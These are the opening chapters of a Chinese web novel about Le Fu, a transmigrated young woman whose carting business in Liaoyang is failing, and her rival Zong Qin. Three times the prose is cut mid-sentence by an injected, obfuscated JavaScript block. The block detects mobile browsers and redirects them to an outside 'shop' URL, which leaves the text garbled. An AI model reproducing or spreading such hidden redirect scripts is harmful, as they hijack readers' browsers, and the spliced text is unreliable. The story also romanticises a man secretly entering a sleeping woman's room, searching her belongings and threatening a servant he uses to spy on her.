《竹马也可以是天降》
1. 乐弗
腊月底的辽阳,正是热闹时候。
满城都浸在暖融喜气之中,街巷张灯,门户贴红,连风里都飘着年味儿。
城外的太子河早已上冻,冰厚得能跑商队。往日沿街乞讨的流民乞儿,此刻也都寻着破庙,凑着同伴,缩作一团取暖,盼着能混上几口年食,好捱过这个寒冬。
天下人都在往团圆里凑。
唯独城南一间挂着“辽安驿运”匾额的车马行铺子,冷清得有些格格不入。
账房内,一盏孤灯映照着一位低头算账的女子,她一只手拢在兔毛暖手筒中,另一只手有一下没一下地拨弄算盘珠子。
账目越算越清晰,心也越来越凉,最后她指尖一顿,终是停了下来。
眼前的结果,明明白白,清清楚楚——
入不敷出。
乐弗轻叹一声,将冻得微红的手重新揣回暖手筒,整个人索性蜷进椅子中,不再看那些糟心的算盘账册。
望着外头那片热闹,她有些感慨,心想再过几天,就是她来到这个世界的第十七个年头了,日子说快也快。
乐弗时常觉得自己是幸运的。
在这个名为“靖朝”的地方,在这个以宗法为本的封建时代,她有几个真心待她,知冷知热的父母长辈,有几个一路扶持的恩师益友,更有那么几个不在乎世俗礼教,愿意给她跑腿卖命的伙计。
正是这些人的存在,她这个懵懂的异乡灵魂才不至于被彻底同化。
时日久了,她慢慢放松了警惕,越发觉得这里也没那么可怕,那些规矩不过是唬人的摆设。
可老天爷向来不按人的心意走,平顺日子一长,总免不了要生出点波澜。
今年开春,风向忽然就变了,头一件怪事,是车马行丢了官府的生意。
每年三节两寿,照单全收她厚礼孝敬的递运所刘大使,竟连声招呼都不打,突然将她家车马行从官府承运名单上除名。
起初乐弗没往心里去,只当是衙门上头换了人,可紧接着,几个走南闯北的老主顾也失了音讯,再后来,连零散的民单也一天比一天少。
直到刚才,她对着账本,把那些零星进账和日常的嚼谷一笔笔算下来,才发现整整一年,挣的那点银子,竟只够给骡马买草料的。
往年这个时候,车马行的盈利摆在桌上,叠得山高,铺子里的伙计、护卫,个个都能拿着银子回家过个肥肥的好年。
今年别说分红,工钱发着都费劲,眼下全靠那三间杂货铺的盈余撑着,好歹收支能扯平。
乐弗想不通。
是辽东都司不太平么?可不太平也不是今年才开始的,去年同样有商队绕道过来,车行的单子也没断过。
是时运不济么?可她一个唯物主义者,也说服不了自己去信这个。
那就只能是有人暗中使坏了。
这个念头一冒,她反倒坐直身子,细细捋起这些年积攒下的人脉关系,却实在想不起得罪过谁……
“小东家!”
冷不丁一道炸雷似的动静在门口响起,乐弗惊得一激灵,猛地扭头,看清是车行里的老伙计后张口就骂:“狗叫什么!”
那人也不恼,笑容满面地走进来:“小东家,我来献策!”
“……”乐弗不想打消齐宝的积极性,毕竟这是他为数不多肯动脑子的时候,“你说。”
齐宝仍嫌眼下不够乱,张嘴就撺掇:“不如搞几抬二人小轿?短途载客用,轿夫就让护卫们兼着干,也比干养着那帮人强啊!”
简直一派胡言!
乐弗都要气笑了:“咱们雇这帮护卫是为了给人抬轿子的?传出去不得让同行笑话死!”
倒不是她职业歧视,而是她家车马行的招牌立的就是“精锐护卫、走南闯北”。
若是护卫都能随随便便改行做轿夫,往后谁还敢把身家性命托付给她辽安驿运?
“再说了,你以为抬轿子是个轻省活儿?就他们那几个五大三粗的,再给人颠吐了……滚!”
这时账房门口传来一阵嘻嘻哈哈的哄闹,几个伙计押了赌注,都等着看齐宝的笑话。
“我就说吧,他准得挨骂。”
“给钱给钱!”
乐弗坐在屋内听得一清二楚,暗暗佩服这几人的心理素质,眼见着年底分红没着落呢,竟还有闲心打赌耍乐。
“等会儿。”她叫住了耷拉脑袋往外走的齐宝,指着算盘旁那尊三足玉蟾,“拿去当了,银子给大伙分分。”
这尊三足玉蟾料子极好,玉质通透,当个六七百两没问题,足够给底下的发些年饷。
当了?齐宝看着桌上那尊玉雕,脑子一时转不过弯,“可它不是你相好的雕的吗,说当就当,回头人家知道了,能乐意?”
乐弗系斗篷的手顿住,瞬间,脑子里晃过那个人的模样。
彼时他握着刻刀,手指修长干净,对着玉石一点点雕琢,神情专注,呼吸轻缓。
清隽认真,又温柔得不像话。
她心头只软了一瞬,马上就被现实狠狠拉了回来。
不乐意也没法子,伙计们还等着银子回家过年呢……下次见了他,说些软话,多哄两句便是。
“不过一块死物,当就当了。”
说完,乐弗头也不回地往外走。
申时末尾,天色只剩最后一点亮光,以往她都是乘车轿回去,可如今这光景……
乐弗觉得还是给自家骡马省些草料吧,左右这里离家也不远,一柱香的脚程。
她紧紧身上斗篷,带上大毛风帽,独自朝衙署大院走去。
冷风一吹,又不受控制地想起那人。
简自澄,她的未婚夫。
二人门户相当,性情相投,在两家大人眼里,这门亲事是天造地设,水到渠成,仿佛他们生来就该是一对儿。
最开始,乐弗没指望在这个女子处处受制的世道里,能嫁得什么正常男人。
你跟这里的人谈什么自由尊重权利梦想,他们表面上附和,转头就能把你关进祠堂,美其名曰“治治疯病”。
况且本朝官宦人家独女的多得是,便是终身不嫁,跟爹娘一起安安稳稳过一辈子的也不在少数,乐弗原本的计划也是这样。
可偏偏,她遇上了温和干净,认真到有些笨拙的简自澄。
每每想起,乐弗嘴角都止不住上翘。
她承认,最开始接近简自澄是奔着利用去的。
十年前,那时的辽东都司还算太平,开原、抚顺两处互市的货品,早已供不上整个辽东军民的日用挑费,眼见着往来的夷人客商越聚越多,朝廷索性在辽阳城外又增设了一处互市。
因着辽阳是辽东都司的治所,所以这里的抽分高得吓死人。
若老老实实在互市交易,赚来的银子三十抽一,再加上牙税,市税,吏卒的常例孝敬,少说要抽走一半。
这些人本就赚个辛苦钱,谁乐意把银子送给那群当官的?只要不是铁器,火药那些禁物,寻常东西私底下能卖就卖。
没过多久,私市就冒出来了。
夷商绕过重税,偷摸将零散百货以更低的价格出售,百姓也省了银子,两头都极为划算,是个人都愿意往私市跑。
那时辽东管控松弛,上面对这种私下交易也是睁一只眼闭一只眼,既不公开认可,也不往死里查。
在乐弗看来,这就是一块无人争抢的蓝海市场。
辽东军民的基数何其庞大,若是能合理绕开重税,直接对接两边供需,那银子还不是流水般往兜里淌?
可她是个女
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341548|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子。
这里的女性,未嫁从父,既嫁从夫,夫死则从子。户不列其名,契不预其印,凡田土买卖,银钱往来,若无男子代笔落款,那只能是一纸空文,官府是不认账的。
唯独和离书,才须得女性应允,亲手画押。
不巧乐弗家里又是做官的,父亲不能代她出面,否则会落个“与民争利”的把柄。
银子就在眼前,看得见却摸不着的滋味太拿人了,馋得她抓心挠肝,夜不能寐。
正是这个当口,简自澄出现了。
他是书塾先生的孙子,从京城远道而来,替父母在祖父跟前尽孝,白日就跟着乐弗等人一起上课。
她不动声色地观察了整整两年,发现此人比较靠谱,是个守信的。
后来她也赌对了,二人之间没有宗族长辈的见证,甚至连张写着字的纸片都没有,单凭一句口头约定,简自澄心甘情愿给她当起代理掌柜。
她占九,他占一。
二人从杂货铺做起,在旁人眼里不过就是普通的边地二道贩子,从夷商那里收购皮毛药材,再转手卖给辽东百姓,挣点差价。
可杂货铺只是个幌子。
暗地里,乐弗钻空子绕开互市所有抽成,把货物拆开藏进杂货铺的库房,私下撮合两头交易。
碰到那些贪心的差役巡查,她还教简自澄说些半真半假的话搪塞,用几两碎银堵上那些人的嘴。
最开始,简自澄并不愿意掺合这趟浑水。
他祖父是前朝太子太傅,纵使辞官隐居辽阳,朝野里仍有清名,亲爹又在翰林院当值,是正经八百的词臣清贵。
一家子世代书香,最讲礼义廉耻,别说亲手做这徇私枉法的买卖,便是听一句都嫌脏。
奈何乐弗是懂鼓动人心的:
“你简家世受国恩,张口闭口天下苍生,可你真的看过辽东的百姓吗?”
“咱们一不劫掠,二不欺诈,三不害命。只是把被苛税拦在两头的人牵到一起,让军户买得起药材皮袄,让夷商有生路,少一些纷争,就多一些太平呀。”
就是这番话,彻底把这位出身高贵的少年拖进世俗泥沼中。
杂货铺生意一日好过一日,结果前年边关突然不太平起来,女真和鞑靼就跟吃错药了似的,频频扰边。
也不动真刀真枪,今天晃悠一圈,明天闹腾两下,纯纯的癞蛤蟆趴脚面,不咬人膈应人。
最后把朝廷膈应得实在没辙,就把开原的互市关了。
开原一停,辽阳这边顿时唇亡齿寒。
乐弗这才意识到,这片她认为的蓝海市场,说到底就是波涛中的无根飘萍,时局稍有动荡,她就得跟着遭殃。
想长久安稳下去,还是得做实业。
于是,辽安驿运诞生了。
想着想着,乐弗止不住地叹气。
车马行开是开了,可今年也不好做……究竟是哪里出了岔子?
乐弗将风帽往下扯了扯,一圈厚绒绒的银鼠皮几乎遮住大半视野,她低头只顾赶路,脑子里还在一门心思琢磨出路。
走着走着,眼前猛地一暗。
她猝不及防撞了上去,眼看就要摔在地上,一只力道极大的手稳稳扣住她的胳膊,将人捞了回来。
乐弗本就因为车马行的事上火,这下大平地跟人撞上,再也控制不住脾气。
风帽一掀,她张嘴就骂:“瞎了你的狗眼!”
结果骂完才发现是熟人。
这人身形极为挺拔,宽肩厚背,往跟前一站跟堵墙似的,光是投下的阴影都能把她罩住。
五官轮廓又深,高鼻薄唇,一双眼黑沉沉的深不见底,此刻正居高临下,垂眸盯着她。
“……”
光是看见宗钦这张脸,她就堵心。
2. 宗钦
自从来到这儿,乐弗对谁都存着几分感激,唯独对着眼前这位,是半点儿好感也无。
在她眼里,宗钦从小到大就没干过一件人事。
念书时处处较劲,开杂货铺时冷言嘲讽,如今仗着有个功名,更是成天在她跟前颐指气使。
还得罪不起。
谁让他爹是先帝亲封的广宁侯、五军都督府都督同知、辽东总兵官呢?
这三个名头随便拎出一个,都够她这小车马行喝一壶的,更别提她爹还在人家手底下做官。
“发什么呆。”宗钦视线落到她冻得通红的鼻尖上,“怎么没套车?”
“还能怎么……没钱!”她疲惫地嘟囔一句,自顾自往衙署大院里进。
宗钦落后两步,不远不近地跟着,二人一路无话。
乐弗闷头直奔花厅,进去也不说话,拿布巾擦了擦手,径自落座用饭。
然而她刚坐下,身后的宗钦就跟回到自己家似的,十分自然地在八仙桌对面跟着落座,连句客气话都没有。
乐弗心里一阵膈应。
累了一天好不容易吃口热饭,睁眼还得对着这么个倒胃口的东西……
当年两家人同时从京城调来辽阳,一路同行,到了这里又一起住进衙署大院,只隔了一堵院墙,近得连声咳嗽声都能听见。
乐弗被迫和宗钦一同长大。
此人白日习文下午习武,没一天闲着,还总找她爹指点文章,食不言寝不语,一副大家做派,把她衬得像个未开化的野人。
这些年她娘挂在嘴边最多的一句话,永远是:“看看人家。”
若不是宗钦亲爹还活着,她娘恨不得直接把人揽过来当亲儿子养。
任谁被这样对照着打压都不会痛快。
她曾不止一次纳闷,这人放着广宁的总兵府不住,非得跟几个小官挤在辽阳的衙署大院干什么?
难道就为了给她添堵?
乐弗想不通,越看眼前这人越心烦,汤匙搅得瓷碗叮当作响。
一进花厅,沈德仪就瞧见闺女那一脑门子官司的倒霉相,不咸不淡开口:“不痛快,也别拿碗碟撒气。”
“娘。”乐弗这才不情不愿撂下汤匙。
“伯母。”宗钦起身行礼。
沈德仪摆摆手,示意他坐,“账目捋得可还顺当?”
“顺当极了。”乐弗心想就那点碎账出入,闭着眼睛都能算对。
“那便好,过完年就别再瞎折腾了,收收心,在房里绣绣嫁衣得了。”
一听这个,乐弗脸上顿时透出几分无奈:“嫁衣而已,哪儿不能买套现成的,非得亲自绣么?而且凭什么只有我做针线,简自澄怎么就不用动手?”
沈德仪闻言狠狠夹了女儿一眼,“半点儿规矩都没有……人家肯要你,我和你爹就烧高香了!”
乐弗却毫不在意,夹了一片水晶蹄冻小口嚼着,含糊丢出一句:“他敢不要。”
沈德仪气笑了,指着女儿对一旁的宗钦无奈道,“你听听,这个混不吝的,气死我拉倒!”
宗钦垂在桌下的指尖下意识蜷曲,面上端得温雅平静:
“伯母说笑了,她这样真性情,很难得。”
“对了,说起小简那孩子……”沈德仪忽然想起什么,看向宗钦,“你们这一批要考会试殿试的,过完年就得从辽东动身往京城去了吧?”
“是,过了初三便启程了。”
沈德仪一听,眼角微微弯起,“那正好!你与小简一同赴考,到时路上结伴,彼此也好有个照应。京城地方大,人心杂,你就替乐弗多盯着点,别让他胡来……”
“娘!”乐弗急忙打断,“简自澄他不是那种人!”
沈德仪嗤笑一声,语气带着一股见惯世情的凉薄:“男人到了京城那地界,有几个能守住裤腰带的?倒不求他出人头地,只盼他别在外头惹一屁股腥臊,免得连累你一身,我也就知足了。”
“……”这话是不是糙了点儿?乐弗还想说些什么,却被宗钦抢先:
“伯母放心,我会好好看着他。”
听得这句保证,沈德仪立刻露出笑容,连连点头:“有你这句话,再没什么不放心的!你最是稳当,说实话,我真巴不得你是我亲生的才好!”
又来了又来了。
乐弗悄悄翻了个白眼,迅速扒完饭起身走人。
“哎?干嘛去!”身后传来沈德仪的呼喊。
“我不耽误你们母子俩叙话!”
说罢,乐弗径直冲回自己屋子,一进去反手带上房门。
暖黄的灯光照亮书房一角,她坐在书案后,翻起桌上堆着的各式信件,从中抽出那张递运所刘夫人的回帖,拆开一看,上面委婉写着:
[年下事务繁杂,暂不便接待]
除了这几个字,帖子里还原封不动地退回了她上次送过去的银票,竟半点情面都不讲。
乐弗轻嗤一声,心里早有预料。
“藤梨!”她朝外高喊了一声。
不过片刻,一个圆脸灵动,手脚麻利的小丫头跑了进来:“姑娘,啥事?”
“去车马行捎个信儿。”乐弗将帖子往案上一扔,语气干脆,“让他们盯着递运所那姓刘的,只要他家夫人出门,立刻来报我。”
“哎!”藤梨应得脆生生,身形轻快得像只小雀,转眼就没了踪影。
乐弗缩进圈椅,垂眸看着桌面上摊开的银票,心里缓缓盘算。
那姓刘的夫妻,这两年吞了辽安驿运不知多少好处,如今一声不吭断了她的路子,只返还一百两就想划清界限?
那是万万不能够。
既然不让辽安驿运接官府差事,先前吃进去的孝敬,就得原封不动地给她吐出来。
她就不信刘夫人一辈子不出门,不理事。
且有遇上的时候。
此刻屋内地龙烧得暖融融的,乐弗简单擦洗一番,换上月白软缎寝衣,带着潮气的头发随意披散着。
重新坐到书案后,她慢慢拆起简自澄送来的信。
什么前天吃了饺子、昨日做了两篇文章、今日堆了雪人,全是流水账,展开最后一封信纸时,乐弗终于露出点笑模样——
竟是幅画。
画中是辽阳互市的一角,兀良哈三卫的交易圈旁,她正蹲在那儿与两只小班克尔嬉闹。笔触潦草却透着灵动,尤其两只狗子的豆豆眉,被简自澄画得憨态可掬,惹人怜爱。
这傻子,春闱在即,他不是被祖父压着备考么,怎么还有闲功夫画这个……
乐弗兴冲冲地提笔就要回信,然而敲门声突然响起。
“进。”
门一开,宗钦提着食盒进来了。
她脸上的笑意顿时褪去,手忙脚乱地披上罩衣,“你怎么还没回去?”
“方才与伯母聊得投契,临走时,她让我把炖好的汤品给你送来。”
“知道了,搁在外间吧。”乐弗语气冷硬,神色肉眼可见的不耐烦。
宗钦没说话,抬手撩起珠帘,径直走到书案前,将食盒压在摊开的信纸上。
眼见着食盒底部的湿热气,将信上字迹洇开,乐弗抬起头,难以置信地望着他:“你有病?”
“伯母说了,养藏汤趁热喝才好。”
宗钦脸上依旧是那副云淡风轻的模样,黑沉的眸子一瞬不瞬地锁在乐弗脸上,仿佛没听见她的斥骂一样。
“我问你是不是有病!”乐弗并不接茬,只一味的问候他的身体。
他面色淡了几分,语气听着平静,却带着命令意味:“喝了。”
“……”
乐弗懒得跟这活驴纠缠,掀开食盒,端出那盏还在冒热气的养藏汤一饮而尽。
“咚”的一声,汤盏被她狠狠丢回食盒,瓷面相撞,声音十分刺耳。
等宗钦一走,她才小心翼翼从书信底下扒拉出那张画。乍一看,上头洇开黑乎乎三团,像谁拿鞋底子印上去的。
乐弗取来布巾,小心翼翼地吸干纸上的潮气,却越碰越花,气得她一把将布巾掷出老远,咬牙切齿:
“早晚找人弄你!”
“弄谁?”藤梨迈着轻快的步子进来复命,“齐宝叔听我说完,当即领了护卫就往递运所那边踩点去了。”
“知道了。”说着,乐弗从抽屉里摸出一个红封递过去,“这一年替我跑进跑出的,你辛苦了,明天就家去吧,跟你娘过个团圆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341549|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年。”
藤梨喜上眉梢,美滋滋接过红封傻笑好几声,可突然想起什么似的,又把红封搁回书案上了。
“怎么?”乐弗一怔。
“家是能回。”藤梨抿了抿唇,“钱就不拿了,拿回去也是揣进我爹的腰包,姑娘给我存着吧。”
“也成。”乐弗伸手把那红封收进抽屉。
藤梨笑嘻嘻地蹲身一福:“先谢姑娘了,等我爹那头的窟窿填不上,再来求姑娘赏我!”
说完,小丫头转身往外走,脚步依旧轻快,透着股雀跃劲儿。
书房安静下来。
被宗钦这一番搅和,乐弗回信的兴致也没了。对着书案上那乱糟糟的一摊发了会儿呆,最后轻叹一声,吹熄了灯回到卧房。
照理说,车马行的糟心事堵在心里,够乐弗辗转半宿的,可她刚沾上枕头,眼皮就耷拉下来,几息的功夫便沉沉睡去。
丑时刚过,月亮西斜。巡夜的更夫敲过三更,整座辽阳城静得只剩薄薄一层月光,洒在青石板路上。
乐弗的房门被人推开。
靴尖踩在地砖上,步伐大大方方,仿佛半夜摸进别人闺房是什么天经地义的事。
来人径直进到书房,任由珠帘在身后轻响。他绕到书案后坐下,一只手把几张信纸一并抄起来,凑到月光底下。
他看得很慢,目光从这行移到那行,从这字移到那字,像要把纸面烫出两个洞来。
信看完了,来人开始翻别的。
抽屉拉开,翻两下,关上。妆匣掀开,拨拨里头的簪子耳坠,再原样盖回去。书架上的书帖手稿看完又随手撂下,不管原本是叠着还是摊着。
他翻得很细。像是在找什么,又或者只是享受翻动乐弗东西的滋味。
直到无物可看,来人迈着从容的步子,转进卧房,在乐弗床边坐下。
眼前这个人白日里总是绷着,跟他较着劲,此刻却安静极了,柔顺地躺在他眼皮子底下,羔羊一般。
视线一点点下移,落在那张唇上。
他见过这张嘴说话的样子,可没一句是他爱听的,每次都往他心口上剜,疼得他夜不能寐,翻来覆去地想——
想她凭什么,想她怎么敢。
现在它不说话了。
乖乖合着,湿软饱满,倒像是等着谁来亲一口似的。
喉结不受控制地滑动。
就在他试探着低下头时,窗子那边轻轻响了一声,像是夜猫子踩瓦的动静。
俯身的动作一顿,那股冲动顿时消散,来人直起身,几步跨进院子。
藤梨站在廊下,见宗钦出来,上前低低唤了声:“公子。”
“怎么?”
“姑娘让我回家过年。”藤梨表情茫然,挠了挠头,“我该回哪儿?总不能蹲在庙门口喝西北风吧?”
当年,公子让她来姑娘身边做个丫鬟,表面伺候实则监视,可这些年姑娘待她是真心的好,一句重话也不曾说过,不仅教她认字看账,还总问家里的老子娘好不好。
老子娘……她哪来的老子娘?藤梨连自己姓什么都不清楚,不过是个被侯爷捡回总兵府的孤女而已。
可这话能对姑娘说么?
一个谎撒出来,下一个谎就得跟上,于是她编了什么爱赌的爹、做针线贴补家里的娘、年幼的弟妹……乱到她自己都记不清了。
“公子。”藤梨叹了口气,“我心里实在不落忍。”
她不想再骗姑娘了。
此话一出,宗钦终于肯正眼瞧她,“不落忍?”
藤梨立马意识到自己说错话了,低下头,大气不敢喘一声。
“若你记不住自己是谁的人,我有的是办法帮你想起来。”
藤梨腿一软,差点给他跪下去,她是见识过宗钦手段的,此刻吓得小脸发白,哆哆嗦嗦回话:“我、我自然是公子的人!”
“你最好是。”扔下这几个字,宗钦转身走了。
目送那道背影消失在月洞门外,藤梨才松开攥着的手,长长呼出一口气。
月光还是那层月光,铺在地上冷寂如霜。
她抬手抹了把额头,满手心的冷汗,心想被鬼盯上,也不过如此了。
3. 爆竹
这个新年,辽东都司依旧过得不太平。
渔猎部族那帮人,不讲究什么过节不打仗那套虚礼,趁着汉人过年松懈,海西女真又派出游骑出来打秋风了。
腊月二十九这天,开原的急报送到辽阳,宗钦他爹当即下了一道严令:辽东都司全境戒严,禁绝一切爆竹烟火。
因为爆竹炸开的声音听着像铳响,惊扰营盘事小,若被误作烽火警报,那便是掉脑袋的死罪。
是以除夕这日,辽阳城的大街小巷鸦雀无声,路上就连车架也不见几辆,整座城像是被风雪冻住了,唯独递运所衙署的房顶上,猫着俩鬼鬼祟祟的人影。
齐宝裹着磨破边的旧棉袄,冻得鼻尖通红,从怀里摸出一把扁扁的小锡壶,拔下木塞,先自己抿了一口,又塞给同伴:“少喝点,暖暖身子意思意思。”
葛喜生接过酒壶直接灌了一大口,烧刀子从喉咙滑进肚,像一条火线直直劈下去,辣得他呲牙咧嘴,半天没喘上气。
“真够劲……我说宝哥,这姓刘的两口子大门不出二门不迈,咱就干趴在这儿,冻得我骨头缝都疼了。”
齐宝从他手里夺回酒壶,重新揣进怀里捂着,不冷不热扫他一眼:“嫌冷?”
“冷也得受着。这姓刘的断了车马行生路,不把他啃下来,往后咱们都得喝西北风去。”
“唉!”葛喜生翻了个身,摸摸口袋里那十几两碎银,“说的也是,今年挣的还不如去年零头多呢。”
“知道就好!”
二人正抱怨着,衙署角门突然开了道小缝。
里头走出个打扮得体的婆子,手里挎着竹篮,跟门房吩咐:“……子时套车,夫人要连夜回娘家。”
那门房很是惊讶:“往年不都是初二才回吗?”
“你懂个屁!初二街上全是走亲访友的,若撞上熟人,麻烦一堆。”婆子絮叨两句,又挎着竹篮进去了,角门“咔嗒”一声关死。
房顶上趴着的二人对视一眼。
“这两口子真不是一般的精……”葛喜生压低声音啧啧两声。
眼见着亥时已过半,齐宝没多余废话,伸手往他胳膊上一拍,“别磨蹭!立刻去给小东家报信,这里有我盯着。”
*
花厅里灯烛煌煌,炭盆烧得正旺,把一院寒气都挡在门外。
乐弗陪着父母围坐守岁,八仙桌上摆着几碟蜜饯干果,一壶椒柏酒温得正好。
她方才浅饮了两杯,此刻酒意上脸,浮起一层浅浅的红,眼皮也发沉,脑袋一点一点,已然是困得不行。
这时沈德仪身边的画屏进来,步履稳当,走近了屈膝一福:
“夫人,外头来了个小皮猴子,不报名字也不道来历,嘴里颠三倒四,留下一句‘仓边灯亮,子时归门’就走了,底下人听不明白,特来禀报。”
沈德仪听罢,脸上露出几分纳闷,“什么驴唇不对马嘴的……”
一旁,端着茶杯的乐廷章,下意识看向乐弗——
他差点没笑出声来。
只见方才还困得眼皮打架的闺女,此刻跟被人从后头猛戳了一下似的,整个人瞬间支棱起来。
老父亲看破不说破,慢悠悠掀开茶盖,撇了撇茶沫,轻轻呷了一口,神情惬意如常。
乐弗再也坐不住了,当即起身,张口编了个极烂的理由:“爹,娘,女儿回房绣嫁衣去了!”
不等二人反应,她脚步一错,顿时消失在门外,快得像阵风刮过。
绣嫁衣?
平日里连针都懒得摸的人,大年三十倒突然勤快起来了?
沈德仪这才觉出不对,缓缓转过头,目光刀子似的,刮向身旁的丈夫。
“说!”
乐廷章顿时头皮发紧,眼神飘忽两下,老老实实放下茶杯,全交代了:
“递运所那边的关系卡着,她正想法子疏通呢。”
沈德仪眉头当即拧成一团,追问道:“什么叫卡着?车马行遇上难处了?”
“不清楚。”乐廷章含糊一句。
不清楚?沈德仪的火气噌地上来,声音拔高几分:
“那你这个参政是干什么吃的,啊?头上官帽是纸糊的不成?闺女向来报喜不报忧,要不是真被逼到没法子,她能这般偷摸避着你我?”
越看木讷丈夫越来气,沈德仪胸脯起伏:
“哪怕给孩子开个后门呢?一句话的事,就非得这么死板?我当初还不如嫁个木头桩子,出了事,好歹能给我儿垫个脚!”
老父亲被骂得一言不发,嘴唇嚅动几下,到底没敢出声。
哪里是他不愿帮?是闺女自己要避嫌。
不然天底下哪个当爹的,能眼睁睁看着女儿受苦不管的?
乐廷章越想越憋屈,只恨不能把心剖出来给沈德仪看看。
*
丑时刚过,辽阳城北,椿树胡同内。
一辆青帷马车辘辘而行,眼看着再往前就是张家的宅子,车夫收了鞭子,让马儿走慢些。
“夫人,到了。”
刘夫人正倚着引枕打盹,闻言坐直身子,理了理鬓发。婆子已搬了脚凳在车旁候着,伸手来扶。
脚刚落地,她就觉得不对,门缝里透出来的光太亮了。
丑时都快过了,按理说老太太早该歇下了,怎么看着像是点了满院的灯?
她心里头转过好几个念头。
莫不是她老娘出了什么事?老人家的身子骨,夜里忽然亮灯,怕不是……
刚想到这儿,她狠狠啐了自己一口。
胡说!真要有事,门口早该有人候着,哪能这么安静?
算了,进去看看就知道。
“你留在这等我。”
她独自上前推开虚掩的黑漆门,穿过影壁,绕过回廊,越往里越觉得不对劲。
院子里亮堂堂的,廊下挂着一溜红灯笼,等她绕过最后一道月洞门,抬眼一看,整个人愣在那里。
正厅前的院子里,堆得满满当当,全是年礼。
绸缎摞得齐腰高,盒装点心垒得像座小山,整扇的羊肉、成坛的老酒、还有一担盖着红布的大箱子,瞧那分量怕是装满了干货海味。
刘夫人还没来得及弄明白这是怎么回事,就听正厅里头传出一阵笑声,她快走几步迈上台阶,往里一探头——
上首的椅子上,她老娘正笑得合不拢嘴,拉着旁边人的手亲切握着,絮絮叨叨不知在说什么。
被她娘拉着的那个,穿着浅蜜合色潞绸面袄,银鼠卧兔儿箍着额发,毛茸茸一圈衬得脸蛋只有巴掌大。
灯下看去,那人不过十六七的年岁,面容明媚端丽,正侧着头听她娘说话,偶尔点点头,嘴角浅浅一弯,满屋子的灯火都跟着软了几分。
“……”刘夫人心里那叫一个后悔。早知乐弗这么难缠,当初就不该跟辽安驿运搭上线!
可没办法,来都来了。她咬了咬牙,硬着头皮往里走。
乐弗的余光一直扫着门外,见刘夫人出现,心想可算逮着你了。
她适时地抬头,像遇见喜事似的笑着迎过去:“夫人!”
刘夫人心里直骂街,脸上却不得不挤出笑来:“哟,你这孩子……大年夜的,不在家守岁,跑出来做什么?”
“给老太太拜年要紧。”乐弗笑着,眼睛弯弯,像是什么都没听出来。
“你有心了。”刘夫人瞥了一眼院子里堆得满满当当的年礼,皮笑肉不笑地补上一句,“可这半夜三更,黑灯瞎火的,你也不怕?”
乐弗仰起脸,模样又乖又软:“夫人都不怕,我自然也不怕的。”
刘夫人眼角抽了抽,只觉得嗓子眼儿里堵了一团棉花,愣是不知该回什么。
这时老太太起身,拉住乐弗冲着女儿直念叨:“这孩子往你那儿跑好几趟了,说要送年礼,愣是没见着你人。没法子,索性全拉我这儿来了。”
“这不是年根儿底下么,递运所那一摊子事,忙得脚打后脑勺……”刘夫人干巴巴解释。
“行了行了。”老太太打断她,又拍拍乐弗的手,“我是老了,熬不住了。你们娘儿俩既遇上,就在这儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341550|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好好聊聊,我去后头歇着。”
说着,老太太真就慢悠悠往后头走,刘夫人急忙跟过去搀扶。
正厅顿时静下来。
乐弗也不急,慢悠悠给自己斟了杯茶,小啜一口,茶香顿时在舌尖化开,她惬意地坐回椅子,守株待兔。
没多久帘子一响,刘夫人去而复返,脸上的笑早没了,眼神凉飕飕地扫过来。
乐弗只当没看见,依旧热络:“夫人快来尝尝,这可是建宁探春,都司分下来的余贡,我特意托人弄来的。”
刘夫人几步挪到她身边坐下,拎起茶壶给自己也倒了一杯。
茶汤澄亮,她低头看了一眼,没喝。
“你连余贡茶都能弄到,”刘夫人语气不咸不淡的,“怎么还盯着我们夫妻不放?”
乐弗不紧不慢放下茶盏,“再稀罕的贡茶,只要肯花钱,总能弄到几两。可刘大使手里的承运名录……”
她轻轻叹了口气,语气无奈又羡慕:“那东西,我有银子也上不去啊。”
刘夫人眉头动了动,没接话。
乐弗收起笑意,换上一副诚恳的模样:“夫人,咱也别绕弯子了。辽安驿运,也不是非得攀着官府的承运名录不放。可有一点……”
她顿了顿,直视着刘夫人的眼睛,“我就是想知道,为什么,您二位把我家从承运名录上给抹了?”
此时外头远远传来一声更鼓,到寅时了。
“您瞧,天一亮就初一了,您总得让我死得明白吧?”
刘夫人叹了口气,把茶盏往桌上一搁,摆出一副推心置腹的架势:
“承运名录是都司衙门亲自筛选的,说是要精简名额,择优录用。我也替你争取过,可上头只说你们成立时间短,底子薄……”
她摇摇头,一脸的爱莫能助:“我们夫妻就是跑腿办事的,上头怎么定,我们就怎么执行,你也别多想。”
“行,明白了。”乐弗举起手边的残茶一饮而尽,转身就往外走。
竟糊弄过去了?
